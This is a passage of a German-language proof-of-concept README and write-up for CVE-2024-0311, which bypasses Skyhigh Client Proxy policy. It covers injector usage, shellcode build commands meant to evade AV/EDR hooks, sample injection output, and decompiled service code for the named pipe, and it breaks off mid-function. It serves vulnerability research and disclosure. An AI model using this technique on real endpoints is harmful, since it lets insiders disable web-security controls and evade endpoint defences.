calligraf0/cve-2024-0311Proof-of-Concept-Exploit für CVE-2024-0311 zur Umgehung der Skyhigh Client Proxy-Richtlinie mittels Prozessinjektion und Named-Pipe-Manipulation, mit benutzerdefiniertem Shellcode zur Umgehung von AV-/EDR-Einschränkungen.
Dies ist ein PoC für das, was ich glaube, dass es CVE-2024-0311 bzw. SB10418 ist.
Ein böswilliger Insider kann die bestehende Richtlinie des Skyhigh Client Proxy umgehen, ohne einen gültigen Freigabecode zu besitzen.
Viele Details. Sehr Exploit. ¯\(ツ)/¯
Der PoC injiziert in einen benutzergesteuerten SCPBypass.exe-Prozess und schreibt in die Pipe von SCPService.exe: \\.\pipe\MCPTrayPipe0.
Die Injektion ist notwendig, da, selbst wenn die Pipe RW Everyone ist, einige Prüfungen durch WGUARDNT (der Schreiber-Pfad wird überprüft) auf die ausführbare Datei durchgeführt werden, die in die Pipe schreibt, siehe unten.
Ein Beispiel-Shellcode wird bereitgestellt, der die Ausführung von WriteFile auf die Pipe ermöglicht, selbst wenn Trellix/McAfee laufen und LoadLibrary hooken/blockieren.
Erstellen Sie im Debug- oder Release-Modus über Visual Studio
Generieren Sie Shellcode via:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
Ersetzen Sie dann den Shellcode in shellcode.c.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Rufen Sie SetNamedPipeHandleState nicht auf. Der Shellcode validiert den Zeiger auf SetNamedPipeHandleState, bevor er ihn aufruft.
* debugon: Setzen Sie einen Breakpoint im Shellcode (0xcc an Offset 0) und erzeugen Sie einen Thread, um die Named Pipe zu binden. Nicht in der Produktion verwenden.
Beispielausgabe:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
Wenn alles gut gelaufen ist, sollten Sie in den SCP-Protokolldateien einen Eintrag finden, der diesem ähnelt:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
Dies wird ein kurzes Writeup sein, denn niemand hat Zeit für viele Worte.
Zunächst einmal: Was ist Skyhigh Proxy Client?
Die Skyhigh Security Client Proxy-Software hilft, Ihre Endpunktbenutzer vor Sicherheitsbedrohungen zu schützen, die beim Zugriff auf das Web innerhalb oder außerhalb Ihres Netzwerks auftreten. Die Client-Software, die auf Endpunkten mit Microsoft Windows oder macOS installiert ist, leitet Webanfragen um oder erlaubt ihnen, zur Filterung an einen Proxy weitergeleitet zu werden. Die Server-Software läuft auf einer der Verwaltungsplattformen: Trellix ePO SaaS oder Trellix ePO Cloud.
Das sollte klarstellen.
Angesichts der Informationen aus dem Advisory gibt es nicht viel, worauf man sich stützen könnte.
Um ehrlich zu sein, habe ich den binären Dienst auf einfach ausnutzbare Schwachstellen für LPE untersucht, als ich CreateNamedPipe sah und interessiert wurde.
Hier ist ein schneller Copy-Paste des dekompilierten Codes aus Ghidra:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
Wie wir sehen, wird, sobald die Funktion aufgerufen wird, eine neue DACL-Struktur initialisiert und eine neue Pipe \\.\pipe\MCPTrayPipe0 im Byte-Modus erstellt.
Dann liest das Programm, solange das Handle auf diese Pipe gültig ist, daraus und versucht, die gesendeten Bytes mit atoi(out_lpBuffer) von ASCII in int zu konvertieren.
Abgesehen davon, dass es bessere Alternativen zu atoi gibt, wird angenommen, dass der Aufruf von atoi nicht fehlgeschlagen ist, und der konvertierte Wert wird an FUN_14022d5b0 übergeben:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];